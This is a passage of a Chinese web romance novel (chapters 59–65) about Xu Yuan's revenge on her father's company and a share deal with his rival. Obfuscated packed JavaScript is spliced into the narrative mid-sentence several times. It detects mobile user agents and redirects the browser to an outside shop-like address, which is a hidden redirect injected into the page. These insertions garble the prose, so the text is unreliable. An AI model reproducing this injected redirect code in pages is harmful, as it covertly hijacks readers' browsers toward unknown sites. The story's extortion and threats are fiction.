l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618013|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 男人强上百倍。” “许愿,如果你选择我,我绝对不会让你签署什么婚前协议,我的就是你的。” “盛家的事你也知道,我不会在婚内出轨,也不会再有你以外的其他任何女人。” “我会尊重你,记清楚你喜欢的讨厌的那些事,哪怕只是一件小事。” “我甚至可以陪着你,开发新领域,搞更多的创新。” “你想做的我都会陪着你,而不是让你只有盛太太的名头,许愿,你觉得怎么样?” 这一字一句,全都没有提到傅京礼,却又像字字句句都点着他。 婚前协议,是傅京礼婚前让许愿签署过的。 婚内有了许宁是事实,且离 婚也全都是因为许宁。 他不记得许愿喜欢的事以及讨厌的事,甚至今晚还让许愿为了圆谎,吃了茄子。 桩桩件件,真是没冤枉了他。 其实许愿心里也很清楚,傅京礼没有做错什么。 因为当初两人的开始,就是个错误的。 只是……人心是肉长的。 她是有感情的。 她的心也在持续的激烈的跳动着的。 哪怕知道傅京礼不喜欢她不在意她,她却还是会逐渐沉沦在自己为自己编织的美梦之中不愿清醒,就是如此自欺欺人。 而此刻盛景炎说的这些话,也彻底撕扯开了两人婚姻的假象。 丈夫不像丈夫,这句话对许愿来说,真的不算是玩笑话。 她垂下眼睫,从男人手中取回自己的手机,这次傅京礼没有再拦着她。 许愿夺回手机,此刻的目光都带着明显的冷淡之意。 她对上手机另一头盛景炎的目光。 “盛景炎,不要再提这些。” 盛景炎果然噤声,后知后觉自己是在戳许愿的痛处。 他顿了一下,还是轻声道:“抱歉,看到傅京礼在你身边,我一时受了刺激,才会口不择言。” 任谁看到自己追求者身边的人是前男友亦或者前夫,恐怕内心都不会平静。 “我不怪你,只是……” 许愿弯了弯唇:“我和傅京礼确实已经是过去式了,往后我和他之间的事,不必再提。” 第60章 盛景炎不是良配 过去了就是过去了。 她内心早就清楚,傅京礼是傅京礼,不再是她的丈夫。 盛景炎对此倒是扬起眉,唇角都带上了笑,像是有些幸灾乐祸一般。 傅京礼眸光依旧冷淡,只是在听到许愿提起过去式时眸光沉了几分。 可他清楚,许愿没有说错,从他们离婚那天开始,他就已经是过去式了。 许愿,注定要开始一段新生活选择一个新的人。 “你这样说,我心里舒服多了。”盛景炎声音中带着明显的笑意。 “傅总,你也听到了,你和许愿之间已经彻底是过去式了,你能明白吧?也希望你不要继续插在我们之间才是。” 他这话,听着倒像是故意在刺激傅京礼。 傅京礼眸光冷淡,却还是淡淡的瞥了许愿一眼。 许愿低头盯着自己掌心的伤口,声音浅淡:“盛景炎,我们之间也并没有什么。” 她语气淡然,像是要划清界限那般。 盛景炎又在笑。 “以后总会有些什么的。” 话落,盛景炎已经挂断了电话。 许愿握着自己的手机,却能感受到身旁男人的视线。 她抬眸,循着男人的视线看去,眼底似是带着几许疑问,在问他怎么了。 “盛景炎不是良配。” 男人开口提醒。 许愿唇角带笑。 “那就是我的事了。” 许愿已经在自己和傅京礼之中明确的划上了那条界线。 从今往后,她的事都与傅京礼无关的。 男人垂下眼睫,漆黑的瞳眸一直落在她身上。 她却恍若未闻,兀自取了一床被子。 正要铺到沙发上休息,却听到男人冷淡的声音。 “你睡在床上,也并不会发生什么事。” 许愿抱着被子的动作稍顿片刻,眉眼之间都含带着笑意。 “已经离婚了,还是需要有些界限的。为了在爷爷面前演戏,我们睡在同一个房间已经算是极限,睡在一张床,谁还信我们之间是真的清白呢?” 男人看她一眼,终是没再开口。 直到房间内暗下来,彼此之间都能听到对方的呼吸声。 许愿感觉到掌心尖锐的刺痛感,她动作缓慢的用被子蒙盖住自己的头,呼吸都是极轻的。 直到手机突然震动了下亮起,她收到的是薛酒的信息。 【薛酒】:一切都已经准备就绪,许家现在所有的合作商都被我们这边计划抢走,我特地还在网络上买了个热搜送给许家父女,想必今晚那对父女会过得‘轰轰烈烈’的精彩。 薛酒是盛华的总监,是许愿在圈内开疆拓土的好友,自然百分之百站在许愿这一侧。 许镇江和许宁敢做出那些事,就不要怪他做事狠辣。 一夜之间,有关于许家的事被编成了各个小段子小故事。 但许镇江是人渣,许宁是蛇蝎黑莲花的这一人设,是绝对没有变的。 微博热搜上多的,也是许家的事。 嘲的全都是许家父女。 虽然没有完全指代两父女,但是其中提到被欺压的那位嫡女曾经是傅氏赫赫有名的女秘书,在圈内谈下多次合同的那位,那大家就都明白了。 在圈子里被人看重,且还是傅京礼左膀右臂的,可不就是许愿吗? 那这说的,就是许家的事了? 这消息一出,许家的事情多多少少都被人扒出来些,还有些闲来无事的富二代也出来嘴一句,基本都是说许镇江的虚伪。 她在心里默数了几分钟,果然接到了许镇江的来电。 许愿默然的先挂断,披着外套出了房间。 也是巧,才离开房间,许镇江的电话又再度切了进来。 许镇江张口就骂:“今天的事是不是你做的?你在傅氏做了那么久,你有那么多人脉,绝对是你在刻意针对许家!你这个贱种,果然跟你那个贱货母亲一样,就是来我们许家讨债的!” 许愿很清楚,许家就是吸着苏青莲母家的血,才有了今日的地位。 许愿凉凉的哦了一声,随他怎么嚎叫。 许镇江骂了半晌,许愿都不作,回应让他觉得十分尴尬 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618014|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。 他喘着粗气,正想继续骂。 许愿却靠着墙壁浅笑几声:“许镇江先生,骂够了吗?骂够了我就跟你说一件你很感兴趣的事。” 许镇江现在对什么都不感兴趣,听她这么没头没脑的一句话,登时更气愤。 许愿却逗猴子似的,下面一句话就跟一鞭子似的抽到许镇江身上,打得他一个措手不及。 “许镇江先生,现在很多人都在联系我,说要找其他人合作呢。且过来的都是曾经许氏的合作者,如果我真的跟这些人牵线,那你说许氏还有未来吗?” 许愿说这些语气都带着笑,像是早就等着这时候给他致命一击。 “我看了微博热搜,爸这是才醒过就给我打电话来骂我呢?你对我可真是爱得深沉,不过这通电话打得也是凑巧,不然我可能真的要给那些人牵线了。” 许镇江被他气得直咳嗽,胸腔不停起伏:“你这个孽障 !” “孽障是你那破坏我婚姻自甘堕落做小三的私生女。”她讥嘲。 许镇江好半天没说出话来,喘着气道:“许愿,我们到底是一家人,你闹够了就收手!” 许镇江声音中气不足十分虚弱,“许愿,我们是一家人,我们之间的血缘是斩不断的。你停手吧,你这样做,未来你能分到的东西也会越来越少,你该清楚的。” 话是这样说,但其实许镇江从头到尾都没想过给许愿继承家业的机会,不过是扯谎哄骗她的。 许愿清楚这一点,所以根本不在乎这些。 “血缘?” 许愿用气音呵了一声,像是用尽全身力气,把对许镇江的恨都倾注于此。 “就因为我们有血缘关系,无论我怎么做,骨子里流的都是你们那肮脏的不堪的下贱的许家人的血!” “可明明都是许家人,你和许宁高高在上,我却像是阴沟里的臭虫,苟延残喘,由你们施舍着活着!如果我能够选择,我当然不会让自己成为许家人。你以为你配做我的父亲吗?像你这种自私自利眼里心里只有自己的小人,只配自己一个人孤独的活着孤独的死去,你不配任何人的怜惜!” 第61章 报复 许愿恨许家的血缘。 许镇江和许宁卑鄙无耻,可她终究流着许家的血。 如果放干血还能活着,许愿愿意付出任何代价,把这全身的血都换一遍,也好过想起身上那肮脏下贱的血就作呕。 许愿不觉得自己有什么错,错的是许家其他人,跟她有什么关系呢? 可她觉得许家人恶心也是真的,她若是想划清关系,就真的只能下狠心。 但她不是蠢货,不会为了划清关系就真的去伤害自己的身体。 对她来说,许家人不配她伤害自己的身体去斩断这层薄弱的联系。 许镇江算是第一次听到许愿对他竭嘶底里的控诉怒骂。 他有片刻的怔然,可也只是那一瞬间罢了。 等过了那一瞬,许镇江只觉得自己这个女儿是个不听话的矫情东西。 再说,许愿怎么能怪他不疼她呢? 分明是许愿率先选择了去照顾苏逸。 苏逸是苏青莲跟别的男人生下的贱种,许愿去照顾苏逸,对他而言就是一种背叛。 明明是许愿先背叛了他,又凭什么想要她的疼爱? 是她自己先做错了事,不能怪他。 许镇江很是无力,他不受控制的被许愿那句“只配自己一个人孤独的活着孤独的死去,不配任何人的怜惜”而震慑。 他终是无奈道:“许愿,我再怎么说也是你的父亲,你毁掉我和宁宁,对你有什么好处吗?” 许愿冷笑。 许镇江说的话,她根本不会放在心上。 这对父女的心一直都是脏的,谁同情他,谁就会被不断的算计。 “你竟然说这些话,那你们呢?你们毁掉我又有什么好处?在得知即将毁掉我的那一瞬间,你们是不是觉得非常痛快?真是抱歉,我得不到什么好处,但我就想要追求那一瞬间的快乐,你们痛苦我就快乐。” 这话许镇江没法反驳,他确实是想毁掉许愿,扶许宁上位的。 许愿不想听他谈那些乱七八糟的,最后还要糟践那人世间的亲情。 她声音冰冷:“你不想那些人换人合作找到其他合作商,那就出钱。” “八千万,给我和小逸八千万,我就不追究以前的事情,并签下一份保证书,这件事后不再提以前的事,算是私下和解。” “八千万!你疯了吗!” 又是要钱,还是八千万,他哪儿来那么多钱! 许镇江险些喷出一口血来。 许愿讽他:“我母亲嫁给你时,拿来的东西可不止这个数。母亲的遗嘱是将她所有的东西都留给我和小逸平分,她留下的东西几亿不止,我现在只是开口这个数,就让你受不了了?许镇江先生,请问我讨回我应得的东西,有什么不对?” 从一开始,许愿就没想真的放过他。 她的东西,谁也不能抢! “不可能,我上哪儿去给你找八千万来?许愿,你别太过分!” 许愿完全不在乎道:“那就别怪我继续攻击许家。” “你到底还要做什么?!” 许镇江愤怒砸墙,一口血堵在喉口却吐不出来。 “我能做什么?我能让许氏完蛋。你不肯花钱消灾,那就只好让许氏大祸临头了。” 她放轻声音:“你猜我继续攻击许氏,许氏的股票会不会继续往下跌,又有多少人会抛售许氏的股票?其他家族一定也会趁此机会攻击许氏,可能会强势收购许氏,到那时许氏还是你的吗?又或者狠一点的,直接让你的许氏破产?” 许愿说的这些,许镇江当然信。 许愿有这个实力毁掉他毁掉整个许氏。 如果这件事情继续发酵下去,许氏真要败在他手上了。 八千万,真不是一笔小数目。 许氏又不是多大的产业,他手里怎么可能有那么多现钱? 许镇江红着脸为难的问:“我手上是真的没有钱,不如你给我点时间。两年,两年后我一定把钱给你。” 许愿冷笑:“两年后?两年后许氏还在不在都要另说。” 许愿没心思听他瞎掰扯:“别跟我说你没钱,没钱就卖房卖车,你不是最喜欢到处买房子收藏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618015|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?多卖几套,一定能攒够钱来消这次的灾祸,别想着跟我讨价还价,你吞了我和小逸多少钱你自己心里清楚,别逼我说更难听的话。” 这女儿,果然是来讨债的! 许镇江气急败坏、恼羞成怒。 许愿对他什么心情毫不在意:“我没那么多时间让你考虑,要么答应了我之后马上筹钱,三天内联系律师签了合同把钱转给我。要么拒绝,等着许氏自取灭亡。” 这是剑都凑到要害逼他做选择了,真是伸脖子一刀,缩脖子也是一刀。 许镇江呼哧呼哧喷着粗气:“三天内,我会联系律师。” 许愿心满意足的挂断电话。 许镇江本想着骂许愿一顿,哪能想到许愿这么狠,不给钱就几乎是要逼许氏破产。 他是打算跟许愿套套近乎把那股份要回来,再不济,低于市场价的价格买回来也行。 哪知道,还摊上了八千万的债务。 这八千万还要东凑西 凑,根本没余钱去买许愿苏逸手中的股份。 那些股份没个几亿可买不下来,现在看,还不如先把八千万给了许愿,等以后再慢慢把股份买回来的好。 反正许愿也不会把股份卖出去,想买随时都能买回来。 许愿却出乎许镇江的意料,拨通了一个号码。 “李董,听说你对许氏的股份很感兴趣?不如我们谈笔生意?” 那位被称作李董的是李氏集团的董事长李秋月,一直都跟许氏是敌对公司,处处攻击许氏。 这次许氏出事,这位李董没少落井下石,暗中购买许氏股票,想入主许氏。 “你手中有多少股份,我全买。”李秋月想也不想直言。 许愿笑,“全买……李董手里的钱还够吗?” 李秋月皱眉,“你有多少。” “我这边持有许氏百分之二十五的股份,这百分之二十五的许氏股份,卖出去可不是小数额。” 对方明显顿了下,“你是许愿?” 能持有许氏这么多股份的女性角色,也就只有许愿了。 第62章 你会帮他吗 “你说得对,这件事电话也说不清,明天有时间吗,我们见一面详谈如何?” 彻底明白跟自己通话的人是许愿后,李秋月开口。 “李董发话了,我自然不会拒绝。”许愿算算时间,“明天下午三点,约在傅氏怎么样。” 许愿这么说,是在暗示李秋月自己跟傅氏的渊源,让她斟酌怎么跟自己定价。 李秋月应下:“期待与许愿小姐的会面。” 能管理好一个大公司,不可能是没脑子的。 李秋月当然听出来许愿的画外音,对她也多了几分看重。 许愿可是傅氏的一张王牌,如果这时看轻许愿,那未免太过愚蠢。 许愿一早就将自己分到的股份分为两份,这些年拿到的分红,一份给苏逸存好。 属于苏逸的钱,她是不会动用的。 重新回到房间。 却看到男人已经醒了,此刻手捂着胃部,脸色惨白一片的在电视柜边翻找着什么。 她看到男人拿出几颗药,就水吞下,这才走过去。 男人没抬眼看她,是真的难受。 许愿拿起药瓶看,是治疗胃病的。 傅京礼的老毛病了,她松了口气。 许愿这时没再注意自己和男人的关系,只是握住他的手揉捏着某处穴位。 这穴位傅京礼是知道的,江惊蛰常说胃痛时摁揉这个穴位,会减轻痛感。 他记住了,却一次都没照做。 真胃疼的时候,只顾着捂胃部,谁还记得揉什么穴位? 可现在被许愿揉着穴位,好像真的不痛了。 傅京礼脸色好看了几分。 他看着面前的女人,半晌才开口:“这次的事情你太莽撞激进了,虽然能解决许家那些事,却让你也成了笑话被人围观议论。你有更好的解决办法,可以不让那些愚民把你的事情当做茶余饭后的闲谈,传得人尽皆知。你这样做,一辈子都会贴上这样的标签,短时间来看你是赢了,但这烙印却是消不下去的。” 许氏的事,傅京礼自然也知道了。 这次薛酒像是故意编出了很多段子,其中很多确实是许愿被许家迫害的事实。 许愿只是顿了下,看了眼面前的男人才缓缓开口:“我把自己承受的那些公之于众,也是斩断了许家人的后路。” “如果这次只用势力强行镇压下去,势必还有很多人议论为什么许镇江许宁消声了,是不是背后资本逼他们闭嘴了。那我又要再一次站在风口浪尖被人看笑话,只要不揭露那些真相这件事就没完没了,没人会站在我这里。在他们看来,我这就是做了天怒人怨的事。是对父亲的不孝,对妹妹的不慈,他们可以站在道德制高点来讥嘲攻击我,这样的后果是不可预估的。” 许愿摁捏着男人手上的穴位继续道:“许镇江这种人就是无赖,只要他不永远倒下,就一定要跟你不死不休的纠缠,不这样自爆,选择站在道德制高点上,迟早有一天会被他吞吃得连渣子都不剩。” 她看着傅京礼,又笑起来,笑得温柔,也有对现下的一切都不在乎的豁达。 “像你说的,我一辈子都会被贴上这种标签,可我以后会用更成功的例子覆盖住这种标签,我会有更多的标签,以后有一天我会变成有些人的励志典例。他们会说许愿幼时吃过那么多苦,都能努力坚持,达到现在被人仰望敬佩的高度,那他们是不是也可以?被人短期的同情并不可怕,可怕的是长期的同情,被人云亦云的舆论打败。” 许愿站起身走近他,俯身眼瞳像是耀眼的黑曜石目不转睛的瞧着他。 “只要你不对许氏伸出援手,那么……我这样做就是有用的。” 许愿盯着他,询问:“傅京礼,你会帮许镇江吗?” 会为了许宁帮他吗? 傅京礼顿了片刻,最终还是移开眼,淡淡道:“你们父女之间的事情,我不会插手。” 这次许宁并未受到多少攻击,被攻击嘲讽的都是许镇江。 许愿或许是因为苏青莲忌日那天发生的事情在报复,他没有理由阻止。 “我不会。”男人淡淡开口。 许愿终于松了口,眉眼弯弯地笑了起来。 她是真的好看,勾唇轻笑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618016|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 或者面无表情时总给人一种气场很强的感觉。 她是浓颜系长相,此刻素着一张脸,笑得颊边泛起小梨涡眼睛弯成小月牙,却又成了纯良的邻家乖妹样。 她是真的漂亮,皮相美骨相美,全身上下哪里都是漂亮的。 此刻这样笑着,一张脸白嫩嫩的,男人能想象到捏上去的柔嫩触感,像是嫩豆腐一样。 他们离得很近,他能清楚的看到许愿带着笑的眼睛里是自己的影子,好像她眼中一直装着他。 和他内心许愿往日的形象全然不同。 傅京礼不动声色收回目光。 可两人距离得这样近,房间内的空调暖风像是故意带着她身上干净诱人的甜香,像是新鲜采摘的水蜜桃的气息…… 他喉结动了动,眸光微暗片刻后还是移开目光,两人之间也隔开距离。 房间内再度陷入沉寂。 许愿仍然抱着被子躺在 沙发上,这次许是没了什么恐慌感。 她休息得很好,唯有男人久久无法睡去。 …… 第二天,许愿来到跟李秋月早就约好的傅氏会客厅。 桌上是准备好的咖啡和茶点,她打开手机测试了一下,房间内屏蔽了所有的信号,她才放心。 “许愿小姐久等了。” 李秋月走了进来。 她已经四十多岁,但因为保养得宜所以看着像三十多。 不过脸上的妆容很浓,给人一种盛气凌人的错觉。 两人互相打探一番,许愿笑着回她:“我也是才来。” 许愿没什么心思说废话,直接切入主题:“我知道李董跟许镇江之间的渊源,你想要废了他,我当然会帮你,李董可以先开个价。” 李秋月却并不提这些,反倒问她:“你是许镇江的亲生女儿,为什么反过来帮我?你到底有什么目的。” 许愿笑起来,“我的目的有两个,一是为了报复许家,二是为了得到一笔钱,三是为了交李董这个朋友,这个回答李董满意吗?” 两方都不是蠢人,她没什么好瞒的。 第63章 血缘关系 李秋月别有深意的盯了她许久,她像是陷入回忆似的开口。 “其实你幼年时,我是见过你的。” 她双手交叉到一起:“你被许镇江抱在怀里,那么小小一团,玉雪可爱。我以为许镇江对你还是不错的,你为什么会这样恨他?” 许愿似乎是觉得有些嘲讽:“我以为李董早就了解了许镇江的本性,他可以对我好,自然下一秒也能把亲生女儿推入火坑。许镇江就是个这样自私自利,只享安乐的狗、东、西。” 李秋月有些错愕却也觉得有些惊讶:“你是真的和原来完全不同了。” 许愿长指轻点桌面。 桌上的是咖啡,她没有喝,只是勾唇笑了:“如果我还像以前一样,早就被踩进泥地了。” 李秋月不语。 李秋月身份很特殊,她在二十年前是李家的小姐,虽然出身比不上许愿的母亲苏青莲,但也算是小门庭的千金小姐。 许镇江年轻时相貌好又会来事哄人,虽然外面数个小情人,却都能照顾全面了。 李秋月是李家的小姐,许镇江打从一开始看上的不止是李秋月的美貌,更瞧上了李家的家产。 他霸占了苏青莲的钱财不算,还想要占据李家。 可怜李秋月当时年纪尚小,被许镇江哄骗,真以为许镇江只有他一个人。 许镇江玩浪漫,带这位娇小姐看星星看月亮,送的礼物都是手工制作,没有一样值钱东西。 偏偏李小姐就喜欢这种浪漫,还觉得许镇江对她极为用心,便将自己的一整颗心都偏到许镇江身上,想早早嫁给他做妻子。 可谁知,许镇江真的是个禽兽东西。 为了他们李家的家产,费尽心机害死她的父母,甚至还要逼死她。 若非被人救下,她早就成了冤魂。 她运气好,父亲曾经的朋友帮了她一把,借了笔钱给她周转公司项目。 她为了留住父母的公司,才重新振作,可心里对许镇江恨得厉害。 她不仅恨许镇江,也恨许镇江的妻子苏青莲,但同时又觉得苏青莲可怜,自己丈夫在外找情人,她却一概不知。 李秋月想到过去那些不堪,竟觉得心口发堵。 她垂下眼帘,细细打量面前正值青春风貌的少女,她知晓许愿现在的身份很特殊。 许愿特意约在傅氏,是侧面向她展示,告诉她在傅氏的地位。 面前的许 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618017|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愿赫然是很聪明,又有一张这么漂亮的脸蛋,现在已经成为傅氏的领导层。 许愿想卖她个好,交个朋友,她当然愿意当这个朋友。 当朋友的前提,是有些利益捆绑在一起并站在同一层次的。 李秋月只沉思片刻,“我愿意用高出市场价两千万的价格,购买许愿小姐手中许氏的所有股份。” 这条件,可以说是非常不错的了。 她认为许愿的价格,可不止这区区两千万。 两千万买来许愿这样一个朋友,她坚信这笔买卖自己绝对不亏。 许愿轻笑,“李董果然是聪明人,不过高于市场价,就不必了。” 李秋月清楚了,这大概就是许愿做人的原则。 李秋月笑笑,但还是有些不理解。 她可以接受许愿的示好,跟她成为朋友,但算计自己父亲这件事,她不理解。 “许愿,他对你应该还不错?我不明白你为什么会这样报复他。” 李秋月搅动着杯中的咖啡问她,“你们是有血缘关系的。” 血缘关系,又是血缘关系。 许愿看了她片刻:“以血缘为媒介的亲情,代表什么呢?” 第64章 别想背叛她 李秋月愣住。 许愿低着头搅动咖啡,房间内的冷气吹得李秋月腿有些冷。 许愿瞥了一眼,调高了温度,斜靠在会议桌旁。 “血缘不是绝对的,只要真的有感情,即便没有血缘也可以是亲人。但没有感情,即使血脉相连,也会被人吞噬得连渣都不剩。” 许愿拨弄着冷气排风口,触及那冷气却并不觉得冷,只觉得舒服。 “李董在这圈子混了这么长时间,难道对这种事情知道得还少吗?多少暴发户有钱后抛妻弃子,由着情人欺辱妻子儿女?有多少人在外面风流潇洒,将财产转到私生子私生女手中,对亲生儿女动辄打骂?这种事数得过来吗,至于血缘?亲生父亲?他们能把我们随意丢弃,我们自然也能把他们踩进泥潭里。” 李秋月哑口无言,她没办法反驳,因为她知道许愿说的都是真的。 在那些利益面前,血缘、亲情、爱情什么都不算。 当年许镇江不就是为了利益伤害她? 李秋月笑不出来,只觉浑身发冷,即便调高了温度还是觉得冷。 她一直以为自己努力到这份上,什么事都看开了,如今却发现自己还不如一个小姑娘看得清楚。 李秋月喝了一口冷掉的咖啡,没忍住夸她:“我真庆幸能跟你做朋友。” 她顿了顿,“女人就该这样。” 许愿不置可否,两人极为默契的碰了碰杯。 “我们现在就签署股份转让合同?”李秋月问了句,显然已经准备好了。 “不急。” 许愿摩擦着手掌,头顶的灯光打在她身上。 那光有些冷意,让她整个人看着都多了几分危险。 她眯眸轻笑着,“我们签署这份转让合同,总要挑一个最好的时间才是,现在显然不是个好时机,毕竟……” 她呵笑,“毕竟我们在这里签署协议,打击不到许镇江啊。” “我相信这次许氏出事,李董没少低价购买许氏股份。”她用陈述的语气说。 李秋月点了点头,对她完全没有隐瞒。 “这样的话,李董手中的股份加上我手中的股份,足以在股东会逼许镇江下台了。” 许愿手指轻点着桌案,“等逼许镇江下台,我们就当着他的面签署股份转让合同,让他在心碎愤怒的同时,亲眼看着他最在乎的许氏落到曾经瞧不起的情人手中……这才是推心置腹的报复。” 只改变了一下签署股份转让合同的时间,就能轻松让许镇江痛不欲生。 李秋月不得不高看许愿,现下已经不把她看作小姑娘了,只觉得平辈相交,甚至佩服她的这些算计。 和李秋月交谈完毕,两人添加了联系方式,并确认在许氏股东大会当天以董事身份出席会议。 李秋月离开会议室,便看到一名高大英俊的男人站在外面。 男人看到她,也只是略微点了下头,算作打招呼。 李秋月知道他是谁,是傅京礼另一位首席秘书,沈略,也是许愿同事兼好友。 沈略的身份看似简单,但商业圈子的都知道这位心思多重,曾经帮着傅京礼兼并收购了数家公司。 李秋月对他,平日里都是敬而远之的,毕竟李家只是小公司,也正因为算是小公司,才没有被他们盯上。 “既然跟许愿合作,那就别想背叛她。” 沈略手中是一叠资料,他并没有看李秋月,而是低头看着资料。 在李秋月路过他时,他淡淡开口:“如果你有背叛她的心思,那我会让李氏随时消失在a市。” 这是对许愿的维护,更是对李秋月的威胁。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13618018|143471||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 李秋月的身体明显都跟着颤了下,不受控制的颤了下。 “沈秘书,能跟许经理合作是我的荣幸,我和许镇江之间的关系你也清楚,许经理给了我报复的机会,我绝不可能背叛她。” 沈略方才颔首,淡淡嗯了一声。 “不要让她失望。” 李秋月顿了下,点了下头。 李秋月离开后,沈略看着她的背影,轻微皱了下眉。 听到熟悉的脚步声,沈略偏头扫了眼问道:“这个女人真的可信?” 许愿眉眼弯了弯:“信不过我?” “我是信不过她。” 沈略不再纠结李秋月的事,将手中的资料递交到许愿手中:“来看看这次国外莱蒂斯给出的条件,看着似乎是真的给我们傅氏让利很多……但我总觉得有坑。” 许愿接过文件,仔细扫过。 “莱蒂斯私人心思深重,他与傅京礼没有私交,跟我们傅氏更是因为几次的合作大发雷霆,他不可能真的让利给我们……小利都不可能让,更不要说这种上百亿的案子。” 许愿笑了下扬起手中的资料:“上百亿的合同,不是小案子,到我办公室去谈。” 沈略也是这个意思。 回到办公室,许愿坐在沙发上看着文件。 阳光照着她的侧脸,令她纤长眼睫投下两片扇子似的阴影,高挺的鼻尖和优美的唇却镀着一层金边,宛如一幅浓淡合宜,华美静谧的油画。 沈略缓缓靠向椅背,支着额头,慵懒而 又专注地看着这幅画,内心微微一怔。 他斟了半杯热茶,轻轻推到许愿面前。 “跟李秋月谈了那么久不渴吗?喝口水。” 许愿道了声谢。 她看着这份文件,越看越是觉得发笑。 第65章 陷阱 许愿把文件摆放在沈略面前,翻到有问题的那一页,指着其中一个条款说道:“合同里的每一项条款都拟定得非常合理,而这行不起眼的备注,则是唯一的陷阱。” 沈略不禁失笑:“你看出来了,可是那位新来的首席秘书还觉得这是机会,要让我们好好把握呢。” 许愿皱眉:“她又闹了什么笑话?这份合作案是许宁提出来的?她疯了吗?” 沈略不置可否:“那位许秘书真是身残志坚,都已经出了车祸还不肯在家中休养,坐着轮椅来公司,说是自己收到了一份完美的合约。” 这话满满的嘲讽。 “傅京礼怎么说。” “傅总还没有看过合同,但是许宁已经忽悠着董事会一些喜欢占便宜的老顽固,相信这是莱蒂斯赠给我们傅氏的福利项目了。” “所以许宁现在要把这份文件给傅京礼看了?” 许愿皱眉,直接拿起合同文件:“我去见傅京礼。” 沈略没有阻拦,他就是想看许愿是如何在工作上完全碾压许宁的。 也好让许宁彻底清楚她自己到底几斤几两。 许愿敲了下办公室的门。 听到办公室内男人让她进去的声音,许愿推门进去,却见傅京礼坐在主位,正翻看一份合同。 而他的身旁,则是坐在轮椅上的许宁。 办公室东侧的墙壁全部由落地窗组成,外面漂浮着层层云雾,衬得男人身上冰冷气息愈发重了。 许愿出神地看着外面的云雾,只看了片刻便收回目光,目光落到男人身上。 男人注意到她的眼神,微微点头。 “什么事。” 许愿笑容很淡:“我听说许秘书拿到一份对傅氏有意的合同,所以过来看看。” 许宁坐在轮椅上,但却是笑容明媚,只是那笑中似乎还带着浓重的深意。 “对,那位莱蒂斯先生是我最近才认识的,他说当我是朋友,才会给我这份合约。上百亿的合同,就算是傅氏也是看重的吧。” “上百亿的合同,傅氏当然看重。” 许愿扶了下鼻梁上的眼镜,缓缓开口:“前提是,这的确是能让傅氏收获上百亿的合同。” 许宁笑容一僵:“你这话是什么意思?” “文件中有个非常明显的陷阱,你没发现吗?” 许宁放下茶壶,扯过摆放在沈略眼底的合同,不甘地问:“哪里有陷阱?我怎么没发现?” “这条。”许愿用手指点了点:“如若甲乙双方产生纠纷,只在乙方所在地进行仲裁,也只适用所在地的法律。” “这有什么问题吗?很多合同都是这么拟定的。”许宁逼问。 “这家公司所在的外国小国,目前政局非常混乱,经常性更换领导者,法律条款也会进一步更新更换,他们完全可以把我们的百亿投资款骗过去,然后随便找一条法规叫停项目,进而达到侵吞这笔投资款的目的。到时候,我们没有办法用法律的武器捍卫我们的利益,只能被无情收割。” 许愿看向傅京礼,认真说道:“这条备注对我们很不利,我觉得还是要慎重一些才好。” 不等傅京礼给出回复,许宁就急切地说道:“我和莱蒂斯先生的关系很好,我相信他的人品。” 